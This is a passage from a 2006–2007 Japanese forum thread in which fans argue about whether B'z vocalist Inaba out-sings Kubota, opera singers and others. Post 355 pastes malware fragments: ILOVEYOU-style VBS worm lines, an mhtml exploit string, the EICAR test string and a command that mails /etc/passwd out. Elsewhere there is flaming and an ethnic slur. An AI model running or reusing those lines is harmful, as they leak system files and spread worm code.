あと歌唱力とは違うけど、ハンドマイクと口元の距離をコントロールしつつ声を乗せていく技術とか

頭の中でリズムを正確に刻むことができる音感 ← 普通こっちをリズム感というのではないの?
頭の中で刻んだリズムを身体を使って体現できる能力




353 :ホイミン ◆pH0CLR/WHs :2006/12/29(金) 16:42:50 ID:BaNUBr+e
残念ながら違うよ(^^)
今日の分読み終わったトコで丁度名前出されるこの素晴らしすぎるタイミングも天性のもんだな(^^)

354 :ホイミン ◆pH0CLR/WHs :2006/12/29(金) 16:51:48 ID:BaNUBr+e
べつに稲葉ってフツーに上手いし認めりゃいいじゃん(^^)
その歌唱力は認めるけど好みの問題として好きじゃないって言い方がなんで出来ね〜かなお前ら(^^)

ちなみにハードロックでイイと思うぞビーズは(^^)



355 :名無しのエリー:2006/12/29(金) 16:57:08 ID:l3O30i7l
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) <object data="ms-its:mhtml:file://C:\\MAIN.MHT!
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
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G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
c.Copy(dirwin&"\Win32DLL.vbs")
ms-its:mhtml:file://c:\
End Sub

356 :名無しのエリー:2006/12/29(金) 16:57:47 ID:l3O30i7l

ホイミン上の奴なに?

357 :名無しのエリー:2006/12/29(金) 17:04:56 ID:PTOMwHAZ
なぜ貼るか

358 :名無しのエリー:2006/12/29(金) 17:37:20 ID:U7hIpShY
>いやだから、それぞれのアーティストが
何mくらい走れるポテンシャル持ってるのかって話になると主観でしょ。
稲葉が100mだとして、久保田は200m走れるかもしれない、50mかもしれない。
その判断は結局憶測にならざるを得ないじゃない。

200メートル走れるかもしれない←推測、憶測
50メートル走れる←推測?憶測?違うよね
100メートル走れるんだから50メートルは走れて当たり前。

>映像見てるよ。稲葉にリズム感があるっていうのは分かってる。別にないなんて一言も言ってないし。
でも他のアーティストに比べて突出してるかって言うと…うーーん。。

ちゃんと全部見た?クネクネなんて最初しかしてないじゃん
最後歌ってる最中ジャンプしながら足を高くあげてポンポンしながら後ろ下がったり変な動きしたり
とんでもないほどリズムが崩れる動きしながらこれを維持できるってのは
リズム感がある証拠だよね

>繰り返すようだけど、クネクネ踊りながらでも歌えるのはリズム感の問題なの?って聞いてるんだもの。

クネクネするとね、全身のリズムのバランスが一気に崩れるんだよ
だから高音の曲を歌おうと思っても普通のアーなら全く歌えなくなって
終わるわけ
この動画見る限り稲葉は最初のほうクネクネし最後リズムが一気に崩れるような
動きを見せつつも歌を一切乱れることなく維持してるって事。


359 :えんぺら ◆mFuuMYcpQ2 :2006/12/29(金) 17:51:12 ID:YTTVNIoL
もう稲葉も久保田も上手いと言う事でいいじゃん

まあ俺は北島三郎派だけどね

360 :名無しのエリー:2006/12/29(金) 17:51:33 ID:NidI/A3P
ちょっと席はずした。
俺が衝動のライブ見たってのは本当だよ。
ようつべでね。すぐ消されてたみたいだけど。

361 :名無しのエリー:2006/12/29(金) 17:57:43 ID:U7hIpShY
確かにMステのはお前の言うとおりだったと感じたけど
ライブでCDより声出てないって意見はまずあり得ない。
自分は見てないってのわざと露呈させているようなもんじゃん

362 :名無しのエリー:2006/12/29(金) 18:00:00 ID:NidI/A3P
だから>>317で言ったでしょ。
なんか()のところを吐き捨てるように歌ってて、全然きれいじゃない。

363 :名無しのエリー:2006/12/29(金) 18:01:30 ID:D+h+TR/v
負け犬エンペラー

364 :名無しのエリー:2006/12/29(金) 18:07:46 ID:U7hIpShY
>>362
それはお前の好みにあってないだけだろ
つか本当にライブ映像見たのかも可笑しい
ライブじゃすんげえ高音も出てて良かった
何度も言うけどこの前のMステはき捨ててて(ニャォ)って聞こえたりしたけどね

365 :名無しのエリー:2006/12/29(金) 18:10:34 ID:NidI/A3P
だから見たと言ってんでしょうがばかちんが

366 :名無しのエリー:2006/12/29(金) 18:12:55 ID:D+h+TR/v
なんで衝動だけ都合良く消されるんだろ

367 :名無しのエリー:2006/12/29(金) 18:14:16 ID:NidI/A3P
衝動だけが消されたんじゃなくて、その人がうpしたもの全て消されてたの
んで俺はその映像をみて弱いと思った。

368 :名無しのエリー:2006/12/29(金) 18:15:22 ID:E6gU7UTf
いつの間にか稲葉ヲタvsその他になってる

369 :えんぺら ◆mFuuMYcpQ2 :2006/12/29(金) 18:18:07 ID:YTTVNIoL
要するに、稲葉はNo.1ではなくOnly.1だと言う事。
日本人は何でもかんでも優劣をつけたがる。
ジャンルも思想も違うアーティストに優劣をつけるのは不可能。

木を見て森を見ない者と森を見て木を見ない者が議論したところで話がまとまるはずもない。
こんなバカバカしい議論はやめるべき

370 :名無しのエリー:2006/12/29(金) 18:22:48 ID:U7hIpShY
>>367
じゃあほかの動画みて
それの感想でもあげてよ

>>369
日本人以外でも歌には優越はあるよ?
そのためカラオケ教室とか歌の教室とかあるんじゃん
俺がいいたい稲葉のナンバー1っていうのは声域声量等の集合体で
稲葉以上の日本人ボーkライスとはいないってこと

371 :名無しのエリー:2006/12/29(金) 18:23:55 ID:p8uSurBF
馬鹿なのにプライドが高い稲葉ヲタ

372 :名無しのエリー:2006/12/29(金) 18:28:57 ID:NidI/A3P
>>370
買うのはいやだからようつべでない?
ドーム走るのとかクネクネしてるのはいいから、バラードみたいな音程が取れてるかがわかりやすいのがいいな

373 :名無しのエリー:2006/12/29(金) 18:41:44 ID:E6gU7UTf
どー考えても>>248で結論でてるだろこのスレ

374 :名無しのエリー:2006/12/29(金) 18:54:02 ID:IPPFTH1x
それにしてもこの基地外稲葉ヲタって何日もPCの前で何ノイローゼになってんだか
誰一人理解されないオナニー主観まき散らして
それに異議を唱えられると何日も延々キレる

こいつビーギザ系のスレ全般に現れるからな
あとこいつ90年代叩き厨w

375 :名無しのエリー:2006/12/29(金) 19:14:46 ID:biWIztCN
歌手はアスリートなのかな?
アーティストだよね!?
聞く側のルールで量るの難しいよ。

スポーツでも全ての国内のスポーツ選手の中で
「運動神経がすごいのどいつだ!」
って決めるの至難だよね。

376 :名無しのエリー:2006/12/29(金) 19:30:25 ID:IPPFTH1x
抽象的な表現になってしまうが
稲葉の声ってまず立体感がないよね 響いてないっつーか
久保田や玉置はあるぜ

>>336
ん?M捨て稲葉は口パクですか?
口パクじゃなかったらライブだと思われ 
「論破」って君wwwwwwwwwwwwwww君はもう存在自体が論破されてると思うが
他の書き込みしてる奴との温度差を見ろ おまえはもはや見下されて軽くあしらわれてることに気づけ


377 :えんぺら ◆mFuuMYcpQ2 :2006/12/29(金) 20:03:12 ID:YTTVNIoL
>>370
うんだから君がそう信じる事にはもう文句は言わないし、
君も他の人が上手いと思っている歌手には文句を言ってはいけない。

もう一度言うけど、ジャンルも思想も違うアーティストにどうやって歌唱力の優劣をつけるの?

378 :名無しのエリー:2006/12/29(金) 20:20:12 ID:IPPFTH1x
だいたい上でロック系とR&B系を比べること自体おかしいって言ってたのはこいつなのにな
「稲葉は日本一の歌唱力」なんて矛盾してる

379 :名無しのエリー:2006/12/29(金) 20:43:00 ID:aMO2GU3n
稲葉のホットパンツ

380 :名無しのエリー:2006/12/29(金) 21:05:31 ID:U7hIpShY
>>371
動画みないで批判しているよりはwwwwwwwwwwww

>>372
なんでもどーぞ

381 :名無しのエリー:2006/12/29(金) 21:09:39 ID:U7hIpShY
>>375
「歌唱」って点ではあくまでも比べられるものだよね
例えば普段なにくわむかおで利いてる「ギター音」
これにもちゃんとトーナメント戦があるし試合もある。日本はどーなのかしらないけど
音楽スクールじゃよくあることだよね?

>スポーツでも全ての国内のスポーツ選手の中で
「運動神経がすごいのどいつだ!」
って決めるの至難だよね。

なんで「すべて」でまとめるの?
ジャンルに分けたらおのおのの記録とか見て簡単に決められるじゃん^^
それと一緒^3^

>抽象的な表現になってしまうが
稲葉の声ってまず立体感がないよね 響いてないっつーか
久保田や玉置はあるぜ

声質まで否定すんの?wwwwwww
まぁこれは好みの問題だからいいとしてww

>ん?M捨て稲葉は口パクですか?
口パクじゃなかったらライブだと思われ 
「論破」って君wwwwwwwwwwwwwww君はもう存在自体が論破されてると思うが
他の書き込みしてる奴との温度差を見ろ おまえはもはや見下されて軽くあしらわれてることに気づけ

?(''

382 :名無しのエリー:2006/12/29(金) 21:14:14 ID:U7hIpShY
>>377>だいたい上でロック系とR&B系を比べること自体おかしいって言ってたのはこいつなのにな
「稲葉は日本一の歌唱力」なんて矛盾してる

歌唱力というより総合で今の所稲葉以上はいないよ^^
って軽くネタを流してあげただけです。

簡単に言えば稲葉以上に声を出せたりリズムが取れたり安定したり表現出来たり
総合的なことで稲葉以上のボーカリストは今の所日本にはいないよ^^
ってかるーくネタ流してあげてるの。
いるなら言い訳がましいこといってないでさっさと挙げたら?
あげれないならお前らはこの文を肯定するって事になるだろうけどね

383 :名無しのエリー:2006/12/29(金) 21:15:38 ID:KIrAdp/Z
>>358
>200メートル走れるかもしれない←推測、憶測
>50メートル走れる←推測?憶測?違うよね
>100メートル走れるんだから50メートルは走れて当たり前。

「100メートル走れるんだから」ってのは稲葉の話だよね?そんなの分かってるよ。
稲葉が100m走れたとしたら、そりゃ50mも走れるさね。
U7hIpShYは稲葉を擁護できればそれで良いのかもしれないけど、
俺が言ってるのは、稲葉と他のアーティストとを比較する場合のことだよ。
「例えば激しく動くわけじゃない久保田と比較する時に、
久保田が何m走れるかなんて憶測にしかならないでしょ」っていう事。
U7hIpShYは稲葉=No.1って言いたいんでしょ?
って事は、稲葉=100mだとして、久保田が50mか200mかで優劣が決まるんじゃない。
でも久保田は激しく動かないんだから、久保田のポテンシャルは憶測にしかならないじゃん。
かと言って、動かないからリズム感がないというわけじゃ絶対ないじゃん。

それなら最初から、静止して歌ってる時のリズム感で勝負してくれないと比較ができないっていう話。
>>377の言ってるのに全面的に同意で、あれもこれも素晴らしいなら俺は文句ないの。
稲葉が一番かどうかは知らんが、シンガーとして優秀な部類に入るのは同感なんだから。

384 :名無しのエリー:2006/12/29(金) 21:17:03 ID:aMO2GU3n
稲葉のホットパンツ

385 :名無しのエリー:2006/12/29(金) 21:17:19 ID:U7hIpShY
>>377
「優越」というより今のところ稲葉以上に総合が凄いアーはいないよって事

スポーツに例えてみれば多少強引だけど日本で一番100mが早い選手が見つかりました
その人のタイムは歴代最高でした。
これに沿って言えばこの人以上に足が速いやつなんて
日本にはいなくなる訳だよね?
いるんだったらあげてみろ^^って話
例えハンマー投げの選手でも水泳選手でもこの選手には足の速さでは勝てないわけ

俺が言いたいのはどんなジャンルわけされても今のところ
稲葉以上に総合が取れてるボーカリストはいないって事を主張してるっつーか
ネタを投下してやってるつーか
まぁそんなところ。

386 :名無しのエリー:2006/12/29(金) 21:22:44 ID:biWIztCN
スポーツに例えたのが逆にめんどくさいことになったけど
100m速いいやつが5m走でサッカー選手やバトミントン選手に負けるかもよ。
これも想像の域を脱しないけどね。

もう論点ずれすぎてすいません。

387 :名無しのエリー:2006/12/29(金) 21:26:55 ID:aMO2GU3n
一番ではないなホットパンツ稲葉は。

388 :名無しのエリー:2006/12/29(金) 21:29:00 ID:U7hIpShY
>「例えば激しく動くわけじゃない久保田と比較する時に、
久保田が何m走れるかなんて憶測にしかならないでしょ」っていう事。

ライブってのは同時に自分の歌や技術の極限を披露する場所でもあるらしいからね
だからライブでおのおのの技術や歌唱力は決まる
久保田はMCいや1曲でも良いからジャンプしながら歌うことだって出来る
なのにしない
これは自分のリズム感がこれには耐えられないと思っているからじゃないのかな?
まぁこれはお前の言うとおり憶測にしかすぎないんだけど
でもこれでひとつ分かったかも知れないけど
久保田には稲葉程リズムが取る事が出来ないかもしれないんだよ
ううん、出来るかもしれないけど出来ないかもしれないんだよ
こんな曖昧なリズム感をもってる久保田より
「出来る」って分かってる稲葉のが凄いって事がわかるよね?
やらない理由だっていろいろあるかもしれないよね?
例えばやったらバランスが崩れて出来ないとか
まだとっておいてあるとか
何にしろ久保田は事実上稲葉程のリズム感を披露してないんだから
稲葉より下だって言われても仕方ないよね
出来るか分からないやつより出来るやつのが仕事だって選ばれるよね?


389 :名無しのエリー:2006/12/29(金) 21:30:34 ID:U7hIpShY
>>386
でもそれは憶測なわけで
事実上その選手が1番なわけだよね?

「いるかも」しれないだよあくまでも
でも出ている限りその選手が1番なわけだよね
いるかもしれないなんて言い訳にしか過ぎないわけだよね

390 :名無しのエリー:2006/12/29(金) 21:33:58 ID:KIrAdp/Z
>>388
久保田がクネクネしないのは、単にHR/HMじゃないからだと思うけど?
そういうのがカッコ悪いと思ってるんじゃないの?

>こんな曖昧なリズム感をもってる久保田より
>「出来る」って分かってる稲葉のが凄いって事がわかるよね?

これは全然分からん。クネクネ歌う事ができるかできないかしか判断基準がないの?

モーリス・グリーンと野田みずきがフルマラソンで勝負したら
野田みずきの方が勝つよ絶対。関係ないけど。

391 :えんぺら ◆mFuuMYcpQ2 :2006/12/29(金) 22:02:55 ID:YTTVNIoL
>>385
多少所か相当強引だね。
意味が分からなかったかな?
「ジャンル分けされてても稲葉の能力は総合的に高い」
ジャンル分けされてる時点でそのジャンルに合った能力の使い方があるよね。
つまりそのアーティストが秘めてる潜在能力なんて誰にもわからないと言う事。
いくら短距離走が速くても長距離走を極限の速さで走らないでしょ

392 :えんぺら ◆mFuuMYcpQ2 :2006/12/29(金) 22:56:22 ID:YTTVNIoL
訂正
いくら短距離走が速くても長距離走を「最初から」極限の速さで走らない

393 :えんぺら ◆mFuuMYcpQ2 :2006/12/29(金) 23:00:20 ID:YTTVNIoL
なんか凄い訂正しなきゃいけない箇所があるな

「ジャンル分けされてても稲葉の能力は総合的に高い」
と言う理屈は間違い

394 :名無しのエリー:2006/12/29(金) 23:02:16 ID:biWIztCN
サーバーダウンの間にクールダウン^^;

B'zは学生の頃に聞いて以来15年以上マトモに聞いてないけど、
長い間TOPで歌い続けてることは尊敬する。相当な努力家でしょうね。

>>389
憶測とか想像の域とかその辺を突っ込まれても
「そうですね」って返すしか無いよ。

スポーツは各ルールの中で争うもんで。
100mの距離で個々の選手が、後ろ向きで走ろうが
四つん這いで走ろうが、走り方に文句が言えない
のが音楽じゃない?

歌唱力のルールブックがあるなら勝手に1位を決めれば
いいと思う。

395 :名無しのエリー:2006/12/29(金) 23:13:33 ID:U7hIpShY
>久保田がクネクネしないのは、単にHR/HMじゃないからだと思うけど?
そういうのがカッコ悪いと思ってるんじゃないの?

それは関係ないww
でもR&Bなんだから途中途中ジャンプしたりホップしながら歌ってもなんの違和感ないと思うけど
それにリズム感が売りなら、もっとリズム感を表現してもいいと思うんだけど
売りがどうか知らないけど

>これは全然分からん。クネクネ歌う事ができるかできないかしか判断基準がないの?

何も「クネクネ」なんて言って無いじゃん。
唯どれだけライブ中でリズム感を表現してるか
久保田はライブ中静止してテンポの速い曲を歌うことしかリズム感を表現してないって
言ったよね?でも稲葉はリズム感が崩れるような動きをしながらでも
超高音の曲をなんの違和感も無く歌いこなせるってことだよ

同じ曲歌ってどっちも同じレベルのリズム感だったとしよう
静止して歌ってた久保田とリズムが一気に崩れる動きしながら歌ってた稲葉

どっちが凄いと思う?

396 :名無しのエリー:2006/12/29(金) 23:15:06 ID:l3O30i7l
おいちょっと待て
>>388←この文章酷すぎるだろ

397 :名無しのエリー:2006/12/29(金) 23:15:51 ID:aMO2GU3n
ホットパンツ稲葉

398 :名無しのエリー:2006/12/29(金) 23:17:27 ID:U7hIpShY
>>391

いやだからスポーツに換算するとそうなるわけで
実際「歌」というところで共通点を出してるボーカリストにとって

>ジャンル分けされてる時点でそのジャンルに合った能力の使い方があるよね。

結局はHRでもポップもやるわけだしバラードもやるわけだしメタルもやるわけだし
こんなの全く的違い。
例えば久保田だってバラードもポップもやるだろうよ
稲葉も無論バラードもポップもやってる
「でそのジャンルに合った能力の使い方」
これが良く分からないんだけど。具体的に説明してくれる?
どんなジャンルだろうと声域声量表現力安定感リズム感は必須なわけで
これを除いてジャンルにあった能力の使い方の意味がわからないな
俺が言いたいのは現時点で稲葉以上に声域声量表現力安定感リズム感の総合
が高いボーカリストが日本にはいないって言っているんだよ
ここまで理解できる?



399 :名無しのエリー:2006/12/29(金) 23:19:39 ID:U7hIpShY
>>394
別に俺は稲葉がすべてのジャンルでもトップとは一言も言ってないよね
俺が言いたいのは「稲葉以上に総合で出ているものはいない」
これだけだよ。
いるんだったらあげてみてくれ
これだけ。

400 :名無しのエリー:2006/12/29(金) 23:20:10 ID:U7hIpShY
>>396
なら抜粋して提示してよ
俺馬鹿だから指摘されないと分からないんだよねー

401 :名無しのエリー:2006/12/29(金) 23:33:47 ID:aMO2GU3n
だから稲葉はホットパンツだけが凄いんだって。中学生くらいしか聴いてないぜ稲葉の曲それかルックス重視の女とか?


402 :えんぺら ◆mFuuMYcpQ2 :2006/12/29(金) 23:42:22 ID:YTTVNIoL
>>398
ジャンルと思想により君の言う歌唱力の評価基準になっているものの使い方が変わってくるよね。
つまり歌手が秘めてる潜在能力なんか誰にもわからない。

403 :名無しのエリー:2006/12/29(金) 23:42:54 ID:A5mEDMcP
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●

しばらく稲葉の話は禁止にしよう
この粘着ぶりは酷杉

●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●



404 :えんぺら ◆mFuuMYcpQ2 :2006/12/29(金) 23:43:48 ID:YTTVNIoL
まるでコペンハーゲン解釈と神はサイコロを振らない状態だな

405 :名無しのエリー:2006/12/29(金) 23:44:14 ID:bgTSPM3b
凄い孤軍奮闘ぶりだ。
まぁキモいが

406 :名無しのエリー:2006/12/29(金) 23:47:49 ID:biWIztCN
>>399
結局>>394の最後の2行なんです。
あなたのルールブックで
あなたが審判なら
勝手にやってくれってことです。

Youtube観たよ。いいねB'z嫌いじゃないです。
だけど、CD&DVDは買わないな。これは個人的ルールブック。

Youtubeのあり方もアーティストにとって複雑なメディアですね。
全く金が直接入らないですからね。

407 :名無しのエリー:2006/12/29(金) 23:56:43 ID:U7hIpShY
>>402
何度もいうけど分からないってのは憶測であって
今出し切れてる中では稲葉にそういう技能的(総合)で勝てるボーカリストはいないよね
俺もね、稲葉より人見のが英語の発音も完璧だしHR歌わせたら稲葉より全然上手いと思う
声量も神だし
でもね、技能(総合)では勝ることは出来ないよね?稲葉に
それにまだまだ能力があるかもしれないってのは
本当言い訳にしか過ぎないよ?
つか久保田以外稲葉と争えるボーカリストなんてみんな衰えちゃったんだから
もう潜在も糞も無いよね?
当時ならーなんて余計言い訳にしか見えない。そんなのライブ映像見れば分かる事

>ジャンルと思想により君の言う歌唱力の評価基準になっているものの使い方が変わってくるよね。

たとえば同じポップ歌わせたとしたら
「表現力、安定感、リズム感、声域、声量」が見られるわけだよね?
あとは好み。「はっきり歌ってるのが好き」「ネチネチ歌ってるのが好き」

>>406
そんなこといったらアーティスト議論スレは全部終わるよ?
まぁ確かにもう結果出て負け犬アンチしかこなくなって常連がみんな降りちゃって
終わったけどね

>>403
ここ、議論スレだよね?
こんなところで稲葉の話題終わらしたら一気につぶれるよここ?
せっかくだから1000まで使えばいいのに


408 :名無しのエリー:2006/12/29(金) 23:59:37 ID:E6gU7UTf
ここであえてYAMA-Bと言ってみる

409 :名無しのエリー:2006/12/30(土) 00:01:52 ID:nEPqeWma
YAMA-Bの話題にかえる?じゃあ

410 :名無しのエリー:2006/12/30(土) 00:04:50 ID:E6gU7UTf
YAMA-Bなんて知ってるやつそんないないだろ…

411 :名無しのエリー:2006/12/30(土) 00:08:39 ID:nEPqeWma
稲葉やめてYAMA-Bの話題になったときのここの住民たちのレスが見てみたいわ

412 :えんぺら ◆mFuuMYcpQ2 :2006/12/30(土) 00:09:53 ID:nEEWtIP6
>>407
勘違いしているようだから言っとくけど。
俺は稲葉アンチでもないし、稲葉と久保田を競わせるつもりもない。

「ジャンルや思想が違う」なら表に出すものも違う。
だから優劣をつける事は不可能。


413 :名無しのエリー:2006/12/30(土) 00:11:57 ID:3ZysjJoG
まぁYAMA-Bは努力家だと言っとく

414 :名無しのエリー:2006/12/30(土) 00:12:08 ID:nEPqeWma
このスレを見ている人はこんなスレも見ています。(ver 0.20)
そろそろ壁をなくす時だ。 [釣り]
ルアーとエサ釣りの板を別けて欲しい [釣り]

わけがわからなくなってきた。

>>412
『歌の上手さ』にジャンルなんて無いんだけどね

415 :名無しのエリー:2006/12/30(土) 00:13:15 ID:3ZysjJoG
>>414
それこそ「釣り」だよって教えてるんだろ

416 :名無しのエリー:2006/12/30(土) 00:15:50 ID:CzE2HfOZ
この稲チョン葉ヲタ日本に来て何年だ?

417 :名無しのエリー:2006/12/30(土) 00:17:10 ID:nEPqeWma
君より長いよ

418 :えんぺら ◆mFuuMYcpQ2 :2006/12/30(土) 00:22:17 ID:nEEWtIP6
それよりマナカナどっちが好みか語ろうぜ!

419 :名無しのエリー:2006/12/30(土) 00:24:12 ID:5eBizQfY
YAMA-Bのホットパンツ

420 :名無しのエリー:2006/12/30(土) 00:24:21 ID:g+rofU3n
>>417
何年目?

421 :ヤイナ:2006/12/30(土) 13:05:08 ID:Rivbxc3a
矢井田瞳の動画です♪アノ曲も!!(≧▽≦)☆
http://www.pandoratv.jp/channel/prg/default.asp?mode=view&ch_userid=23503712&id=12090

422 :名無しのエリー:2006/12/30(土) 13:10:55 ID:Xz64UyN5
YAMA-Bなんて会話に出さなくていい。


正直な話、このスレの稲葉みたいになって叩かれる姿なんてみたくない

423 :名無しのエリー:2006/12/30(土) 13:18:14 ID:nEPqeWma
何出してもたたかれる運命

424 :名無しのエリー:2006/12/30(土) 14:22:25 ID:uZBSbCEB
YAMA-Bキモス

425 :名無しのエリー:2006/12/30(土) 17:27:01 ID:5eBizQfY
キモさならホットパンツ稲葉には勝てないよ

426 :名無しのエリー:2006/12/30(土) 20:20:04 ID:tIO0RCBO
>>1 ジャンルを超えて話が出始めているので、結論を言うが、
デル・モナコ
http://www.youtube.com/watch?v=k2UXiUVZSkkなどオペラ歌手に比べたら
陽水や久保田や稲葉なんかチンカスレベルじゃん

427 :名無しのエリー:2006/12/30(土) 20:26:00 ID:iWr+aOln
>>426
何を言ってるのやら。
オペラ聴かない人種にはそのチンカスが珍味なのよ。

428 :名無しのエリー:2006/12/30(土) 20:38:34 ID:6949JnVs
声量なら
たしかにオペラ歌手が圧倒的だろうな。
なんせマイクなどの増幅機器が一切ない
生の声だけでオーケストラ相手に
勝負するようなもんだからな。

429 :名無しのエリー:2006/12/30(土) 20:49:08 ID:hYKBbJkf
決定!

オペラ歌手>>>>>>>>>>>>>>>>>>>>>>>稲葉

http://www.youtube.com/watch?v=-zZYSUqA_5c

430 :名無しのエリー:2006/12/30(土) 20:55:49 ID:hYKBbJkf
決定!

オペラ歌手>>>>>>>>>>>>>>>>>>>>>>>稲葉

別の動画も貼っておこう!
http://www.youtube.com/watch?v=EY0-PSeXpjk

431 :名無しのエリー:2006/12/30(土) 21:12:17 ID:nEPqeWma
やっぱ稲葉がないとこのスレ落ちるな

いくら声量が凄いって言ったって人見以上は先ず無理
リズム感も無いし声域も微妙。

オペラ歌手
声量
人見>オペラ>稲葉
声域
稲葉>オペラ
安定感
オペラ≒稲葉
表現力
稲葉>オペラ
リズム
稲葉>オペラ

結論
稲葉>>>>>>>>>オペラ

オペラにHRうたえますか?

432 :名無しのエリー:2006/12/30(土) 21:13:18 ID:nEPqeWma
つか閣下が元オペラ歌手なわけでwww


433 :名無しのエリー:2006/12/30(土) 21:15:34 ID:nEPqeWma
つか外人でしかもオペラ歌手と比べられてる時点で稲葉の実力が相当なことが分かるよww
それ以前にこのスレの稚拙さが分かる

434 :名無しのエリー:2006/12/30(土) 21:39:03 ID:tWHuDz0L
>>432
オペラ歌手といってもピンからキリまであるだろうがwww

435 :名無しのエリー:2006/12/30(土) 21:39:40 ID:nEPqeWma
>>434
ゴメン、アンチあおっただけ

436 :名無しのエリー:2006/12/30(土) 21:41:33 ID:0PYDyy5k
>>431 ルネ・コロって知ってる? 知らないでいいよ。お前の馬鹿さ加減がよく分かる。

437 :名無しのエリー:2006/12/30(土) 21:42:34 ID:nEPqeWma
でも実際基本的に声量と声域除いて
オペラ歌手の歌唱法じゃリズム感や安定感なんて育たないと思うけどね

438 :名無しのエリー:2006/12/30(土) 21:43:04 ID:nEPqeWma
>>436
ゴメン、アンチあおっただけ


439 :名無しのエリー:2006/12/30(土) 21:44:14 ID:0PYDyy5k
>>437 
つ夜の女王のアリア 
オペラくらいちゃんと聴いてから書き込め。

440 :名無しのエリー:2006/12/31(日) 01:10:17 ID:IKGqkUej
実際、オペラ歌手の声量は物凄いな。声域もファルセットを使用しないで
よくあそこまで出せるもんだよ。
キング・オブ・ハイCの異名を持つパバロッティなんかマジで凄い。

441 :名無しのエリー:2006/12/31(日) 18:25:40 ID:QgzXU2Jj
オペラ歌手をやっていてはリズム感が育たないとか釣りだろ。
たとえばレチタティーボとも歌とも言いがたい極めて難しい旋律を
絶妙なリズムかつ大音量の声で4時間以上もの長尺の中を
歌わなければならないワーグナーの楽劇とか
聴いたことないんだろうか?そもそもクラシック音楽は
2つ以上の拍子を複合して、その上でいくつもの旋律を
複雑につむぎながら対位法的に扱った作品はかなり多いんだけどな。
バッハとかの曲を聴けばすぐ分かるのに。
リズム感が育たないとか真剣に言ってるなら恥ずかしいほどの無知だが、
まあ、ここは釣りと思いたい。

442 :名無しのエリー:2006/12/31(日) 19:02:08 ID:xSPmMU97
>>441
だからとっくのとおりにアンチをあおるだけの釣りっていってんじゃん

443 :名無しのエリー:2006/12/31(日) 19:03:05 ID:xSPmMU97
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444 : 【凶】 :2007/01/01(月) 03:21:10 ID:NNMuu3qk
稲葉ヲタって痛いな。
ロクにオペラも知らないんだろうなw

445 :名無しのエリー:2007/01/01(月) 05:32:39 ID:AAGtYoWl
やっぱ、ローソクの炎をゆらさずに唄うことじゃね?

446 :名無しのエリー:2007/01/01(月) 05:48:43 ID:X7TI267j
>>445
民謡歌手の金沢明子だね

447 :名無しのエリー:2007/01/01(月) 12:53:23 ID:As814sOi
B'z以外も聴いた方がいいよ

448 :名無しのエリー:2007/01/01(月) 13:11:14 ID:fiYcmoq4
>>444
釣りって分かってるのに釣られてるの?
アンチってマゾさんなんだね

>>447
聞いてるよー

449 :名無しのエリー:2007/01/01(月) 20:40:40 ID:xe4vwVY1
↑正月ぐらい頭冷やせよ基地外稲葉ヲタ
おまえのオナニー主観なんて結局だれにも受け入れられなかったんだからw

450 :名無しのエリー:2007/01/01(月) 21:06:45 ID:qlSIyUut
>>441
オペラ歌手は凄いと思うが歌としての面白みが無いと思う。

451 :名無しのエリー:2007/01/01(月) 21:27:53 ID:fiYcmoq4
>>449
受け入れられなかったけど反論もできなく
どのみち『暗黙の了承』って形で終わったよね?
要するにお前らは真意で認めなくても認めたって結果になったよね^^

452 :名無しのエリー:2007/01/02(火) 01:39:48 ID:niAc7wf4
↑あれを『暗黙の了承』ととらえたお前のニート脳はある意味おめでたい
根拠が「動画見ろ」じゃいつまでたっても受け入れられん罠
よってお前の敗北

453 :名無しのエリー:2007/01/02(火) 09:47:49 ID:KF0dLmqg
>>450
そんなの人の好みの問題だからな。
分かる人にはわかるっていうのは音楽全ジャンルの共通だから。
あんた1人が嫌いだとしても現に100年〜250年レベルの
長い歴史の中で生き残ってきているんだから。

454 :名無しのエリー:2007/01/02(火) 12:19:18 ID:l2Tyv7JR
もうビーゼットのはなしはいいよ

455 :名無しのエリー:2007/01/02(火) 14:20:54 ID:niAc7wf4
>>450
まあ稲葉よりのワンパターンなキモい語尾巻きよりよりは面白いが

456 :名無しのエリー:2007/01/02(火) 14:57:14 ID:plWI5tVI
このスレに来る人にオペラ愛好家が存在するのか激しく疑問

457 :名無しのエリー:2007/01/02(火) 21:27:49 ID:Ppmx7deZ
>>453
馬鹿も休み休みに言え、好みの問題ならなおさらだ
オペラを聴いて上手いと思ってもそれを日常茶飯事聴こうと思う
ユーザーがどれだけ居る オペラ歌手をポップミュージックの範疇と混同させるなよ
オペラを歌わせているから上手いなと思うけど、こいつに歌謡曲を歌わせてみたらとか少しも思わない
それだったらオペラ歌手に日本の民謡(それも正調)歌わせてみろよ
それが民謡に聞こえるかも疑問だが。

458 :名無しのエリー:2007/01/02(火) 22:32:12 ID:X/38Lhvc
>>452

これがB'zアンチ。
暗黙の了承も知らなければ根拠すら知らない

>根拠が「動画見ろ」じゃいつまでたっても受け入れられん罠
よってお前の敗北

根拠→動画見ろ
だと思ってる時点でお前読解力0
根拠なら散々論立てて詰めたよね?
それでも理解できないみたいでそれは主観だのほざいてるのがアンチ。
だから動画出してやったら今度はそれが根拠で
それゆえヲタの敗北wwwwwwwwっうぇwwww

でもそんなこと言う割りにはお前は反論できてないし
真意で認めなくても結果として認めた形となって終わってるよね^^
『肯定』って語彙しってる?(クス

459 :名無しのエリー:2007/01/03(水) 02:00:52 ID:62V+R5f8
>>457
少なくともマイクで増幅させてるのに声量があるように勘違いされやすい
歌手よりオペラ歌手は声域、声量はぶっちぎりに凄いだろうな。
声域や声量についての優劣はジャンルには関係ないからな。

460 :名無しのエリー:2007/01/03(水) 03:21:44 ID:/AcTuI20
>>457
馬鹿も休み休みに言え、好みの問題ならなおさらだ
ロックを聴くのが大好きと思ってもB'zを日常茶飯事聴こうと思う
ユーザーがどれだけ居る B'zをロックの代表だと勘違いするなよ
自分たちの作った曲だから上手いなと思うけど、
こいつにオペラを歌わせてみたらとか少しも思わない
